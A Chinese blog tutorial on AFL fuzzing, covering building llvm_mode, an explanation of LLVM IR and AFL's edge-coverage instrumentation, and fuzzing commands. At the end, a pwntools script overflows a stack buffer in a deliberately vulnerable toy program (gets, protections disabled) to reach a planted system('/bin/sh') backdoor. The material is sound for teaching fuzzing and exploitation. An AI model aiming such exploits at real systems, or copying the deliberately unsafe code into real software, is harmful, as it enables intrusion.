AFL模糊测试

演示

0. 进入AFL 执行make 把整个AFL项目编译一下

(注,好像会自动执行llvm_mode中的makefile,需要先更改llvm_mode中makefile的代码)

make会自动生成afl-fuzz文件在 /usr/local/bin/afl-fuzz 目录下生成afl-fuzz编译器

1. 安装llvm-config-4.0

apt-get instal llvm-4.0

2. 进入llvm_mode

2.1 Makefile

line 25 修改makefile配 llvm-config-4.0 高版本的不兼容

line 54 CC = clang-4.0

line 55 CXX = clang+±4.0

执行make会把llvm_mode里面的东西编译,汇编,链接

执行make之后会自动在 /usr/local/bin/目录产生 afl-clang-fast++ (针对C++) 和afl-clang-fast (针对C)编译器

执行make clean会把make产生的垃圾清除掉

2.2 修改afl-clang-fast.c

line 116 cc_params[0] = alt_cxx ? alt_cxx : (u8*)"clang+±4.0

line 119 cc_params[0] = alt_cc ? alt_cc : (u8*)“clang-4.0”;

2.3 修改afl_llvm-pass.so.cc文件更改插桩代码

SHM是共享内存-----链接trace_bits

记录执行边的方法是 将上一个基本块的id右移一位,与当前基本块id进行异或,作为边的id

修改了横幅为Ljt_Instrumented

llvm_pass的使用方法和原理,解释生成的插桩IR代码,展示所实现的功能

%号开头代表寄存器

数据类型

整数类型:i1, i8, i16, i32, i64, i128        i8占8位

浮点类型:half, float, double, fp128         half占16位  float占32位

向量类型:<n x i8>, <n x i16>, <n x i32>     <n x i8> 占n*8位

指针类型:i8*, i32*, float*                  i32*  占32位

标签类型:metadata                           与指针类型占相同的空间

指令

加减乘除指令:add, sub, mul, sdiv, udiv, fadd, fsub, fmul, fdiv
%result = add <type> <value1>, <value2> 
%result = add i32 %a, %b

位运算指令:and, or, xor, shl, lshr, ashr
%result = and <type> <value1>, <value2> 
%result = and i32 %x, %y

转换指令:trunc, zext, sext, fptrunc, fpext, fptoui, fptosi, sitofp, ptrtoint, inttoptr, bitcast
uitofp:将一个无符号整数转换成一个浮点数
%result = uitofp <source type> <value> to <destination type>
%result = uitofp i32 %a to float

内存指令:alloca, load, store, getelementptr, malloc, free, memset, memcpy, memmove
alloca指令用于在栈上分配内存,并返回一个指向新分配的内存的指针
%ptf = alloca <type>
%array = alloca [5 x i32]    #分配一个包含5个整数的数组

load指令从内存中读取数据,并将其加载到寄存器中
%result = load <value>, <type>* <ptr>
%result = load i32, i32* %ptr

store指令用于将数据从寄存器中写入内存
store <type> <value>, <type>* <ptr>
store i32 42, i32* %ptf

getelementptr指令用于计算指针的偏移量,访问内存
%ptr = getelementptr <type>, <type>* <ptr>, <index type> <idx>, ...
%array = alloca [3 x [4 x i32]]   二维数组
%ptr = getelementptr [3 x [4 x i32]], [3 x [4 x i32]]* %array, i32 1,i32 2  取二维数组第二行,第三列

malloc指令用于在堆上分配内存,返回一个指向新分配的内存的指针
%ptr = call <type>* @malloc(<type> <size>)
%prt = call i8* @malloc(i64 40)

memset指令用于将一段内存区域的内容设定为指定的值
call void @llvm.memset.p0i8.i64(i8* %dst, i8 %val, i64 %size, i1 0) 最后的0表示对其方式

memcpy指令用于将一个内存区域的内容复制到另一个内存区域
call void @llvm.memcpy.p0i8.p0i8.i64(i8* %dst, i8* %src, i64 %size, i1 0)

控制流指令:br, switch, ret, indirectbr, invoke, resume, unreachable
br 条件分支,根据条件跳转到指定的基本块     <cond>是条件值
br i1 <cond>, label <iftrue>, label <iffalse>
%cmp = icmp eq i32 %a, %b
br i1 %cmp, label %equal, label %notequal
equal: ret i32 1
notequal: ret i32 0

switch 多路分支指令,根据输入值跳转到不同的基本块
switch <type> <value>, label <defaultdest> [<type> <val>, label <dest> ...]
switch i32 %a, label %default[i32 0, label %zero   i32 1, %one]
zero: ret i32 0
one:  ret i32 1
default: ret i32 -1

ret 函数返回指令,返回到调用函数的地方   
ret <type> <value>
invoke 调用指令,调用带异常处理的函数,并在异常发生时传递控制权,等同于call
invoke void @foo()
unreachable 不可达指令,表示程序不应该执行到该点
error: unreachable

其他指令:phi, select, call, va_arg, landingpad
phi指令用于在基本块之间传递值  phi在基本块label1和label2之间选择一个值
%result = phi <type> [<value1>, <label1>], [<value2>,<label2>], ...
select指令用于根据条件选择两个值中的一个
call指令用于调用函数
%result = call <type> <function>(<argument list>)  
<type>是函数的返回类型  <functiong>是调用的函数名,<argument list>是函数的参数

使用LLVM Pass API编写程序 gcc clang .ll

#include <stdio.h>
#include <stdlib.h>

int main() {
    
    
    int a = 1;
    int b = 2;
    int c = a + 2;
    int d;
    b = 10;
    if (c > 5) {
    
    
        d = 1;
    } else {
    
    
        d = 2;
    }
    return 0;
}

插桩前

; ModuleID = 'test.bc'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"

; Function Attrs: noinline nounwind uwtable
define dso_local i32 @main() #0 {
  %1 = alloca i32, align 4
  %2 = alloca i32, align 4
  %3 = alloca i32, align 4
  %4 = alloca i32, align 4
  %5 = alloca i32, align 4
  store i32 0, i32* %1, align 4
  store i32 1, i32* %2, align 4
  store i32 2, i32* %3, align 4
  %6 = load i32, i32* %2, align 4
  %7 = add nsw i32 %6, 2
  store i32 %7, i32* %4, align 4
  store i32 10, i32* %3, align 4
  %8 = load i32, i32* %4, align 4
  %9 = icmp sgt i32 %8, 5
  br i1 %9, label %10, label %11

10:                                               ; preds = %0
  store i32 1, i32* %5, align 4
  br label %12

11:                                               ; preds = %0
  store i32 2, i32* %5, align 4
  br label %12

12:                                               ; preds = %11, %10
  ret i32 0
}

attributes #0 = { noinline nounwind uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.1 "}

插桩后

; ModuleID = 'test-opt.bc'
source_filename = "test.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"

@__afl_area_ptr = external global i8*
@__afl_prev_loc = external thread_local global i32

; Function Attrs: noinline nounwind uwtable
define dso_local i32 @main() #0 {
  %1 = load i32, i32* @__afl_prev_loc, !nosanitize !2
  %2 = load i8*, i8** @__afl_area_ptr, !nosanitize !2
  %3 = xor i32 %1, 9158
  %4 = getelementptr i8, i8* %2, i32 %3
  %5 = load i8, i8* %4, !nosanitize !2
  %6 = add i8 %5, 1
  store i8 %6, i8* %4, !nosanitize !2
  store i32 4579, i32* @__afl_prev_loc, !nosanitize !2
  %7 = alloca i32, align 4
  %8 = alloca i32, align 4
  %9 = alloca i32, align 4
  %10 = alloca i32, align 4
  %11 = alloca i32, align 4
  store i32 0, i32* %7, align 4
  store i32 1, i32* %8, align 4
  store i32 2, i32* %9, align 4
  %12 = load i32, i32* %8, align 4
  %13 = add nsw i32 %12, 2
  store i32 %13, i32* %10, align 4
  store i32 10, i32* %9, align 4
  %14 = load i32, i32* %10, align 4
  %15 = icmp sgt i32 %14, 5
  br i1 %15, label %16, label %23

16:                                               ; preds = %0
  %17 = load i32, i32* @__afl_prev_loc, !nosanitize !2
  %18 = load i8*, i8** @__afl_area_ptr, !nosanitize !2
  %19 = xor i32 %17, 18547
  %20 = getelementptr i8, i8* %18, i32 %19
  %21 = load i8, i8* %20, !nosanitize !2
  %22 = add i8 %21, 1
  store i8 %22, i8* %20, !nosanitize !2
  store i32 9273, i32* @__afl_prev_loc, !nosanitize !2
  store i32 1, i32* %11, align 4
  br label %30

23:                                               ; preds = %0
  %24 = load i32, i32* @__afl_prev_loc, !nosanitize !2
  %25 = load i8*, i8** @__afl_area_ptr, !nosanitize !2
  %26 = xor i32 %24, 23807
  %27 = getelementptr i8, i8* %25, i32 %26
  %28 = load i8, i8* %27, !nosanitize !2
  %29 = add i8 %28, 1
  store i8 %29, i8* %27, !nosanitize !2
  store i32 11903, i32* @__afl_prev_loc, !nosanitize !2
  store i32 2, i32* %11, align 4
  br label %30

30:                                               ; preds = %23, %16
  %31 = load i32, i32* @__afl_prev_loc, !nosanitize !2
  %32 = load i8*, i8** @__afl_area_ptr, !nosanitize !2
  %33 = xor i32 %31, 22764
  %34 = getelementptr i8, i8* %32, i32 %33
  %35 = load i8, i8* %34, !nosanitize !2
  %36 = add i8 %35, 1
  store i8 %36, i8* %34, !nosanitize !2
  store i32 11382, i32* @__afl_prev_loc, !nosanitize !2
  ret i32 0
}

attributes #0 = { noinline nounwind uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.1 "}
!2 = !{}
%1 = load i32, i32* @__afl_prev_loc, !nosanitize !2   获取前一个基本块的id放进%1
%2 = load i8*, i8** @__afl_area_ptr, !nosanitize !2   获取共享内存地址放进%2
%3 = xor i32 %1, 9158                    将当前基本块ID9158与前一个基本块ID进行异或运算,放进%3    0010001111000110
%4 = getelementptr i8, i8* %2, i32 %3    将%3作为索引,在%2作为数组首地址的,共享内存中找一个位置放进%4
%5 = load i8, i8* %4, !nosanitize !2     取出共享内存中%4位置的值,放进%5中
%6 = add i8 %5, 1                        将该共享内存中的值进行加1,表示该基本块命中次数加1,放进%6
store i8 %6, i8* %4, !nosanitize !2      在把%6的值,存储回共享内存中的这个位置
store i32 4579, i32* @__afl_prev_loc, !nosanitize !2 % 当前基本块9158>>1之后得到4579,把值存回prev_loc  0001000111100011

3.afl_fuzz的原理和方法,框架图,类图

afl.xmind

static s32 shm_id; EXP_ST u8* trace_bits; 共享内存

4. 执行命令:

新建testfile文件夹`

建立fuzz_in文件夹放测试用例testcase

fuzz_out文件夹放结果 其中crash文件夹放的是导致崩溃的测试用例

使用xxd命令查看崩溃结果 id:00000,…

放入源代码 test.c

使用命令生成可执行文件

使用汇编插桩形式 afl-gcc / afl-clang afl-g++ / afl-clang++编译器编译

使用llvm插桩模式 afl-clang-fast afl-clang-fast++ 编译成功会显示插桩信息和横幅

afl-clang-fast test.c -o test 其中可以加入一些编译参数 生成可执行文件test

echo core > /proc/sys/kernel/core_pattern

`模糊测试命令:afl-fuzz -i fuzz_in -o fuzz_out ./test @@ 其中也可以加入一些执行参数

复现: cat crashes/id:000000,sig:06,src:000000,op:havoc,rep:128 | …/test

5.根据crash以及测试用例进行漏洞利用

漏洞利用脚本:

from pwn import *

io = process("./test")

text_add = 0x08049297  #后门地址

payload = b'A'*0x80 + p32(text_add)

io.sendline(payload)

io.interactive()

被测代码

gcc -m32 -z execstack -fno-stack-protector -no-pie -o test test.c

#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <string.h> 
 int vulnerable()
 {
    
    
    char buffer[8];
    gets(buffer);    //存在栈溢出
    return 0;
 }

 int main(int argc, char *argv[])
 {
    
    
     puts("Have you heard of buffer overflow?");
     vulnerable();
     puts("It seems that you know nothing about it ......");
     return 0;
 }

 int get_shell()
 {
    
    
    system("/bin/sh");  //插入后门代码
    return 0;
 }

猜你喜欢

转载自blog.csdn.net/xuanyitwo/article/details/133900736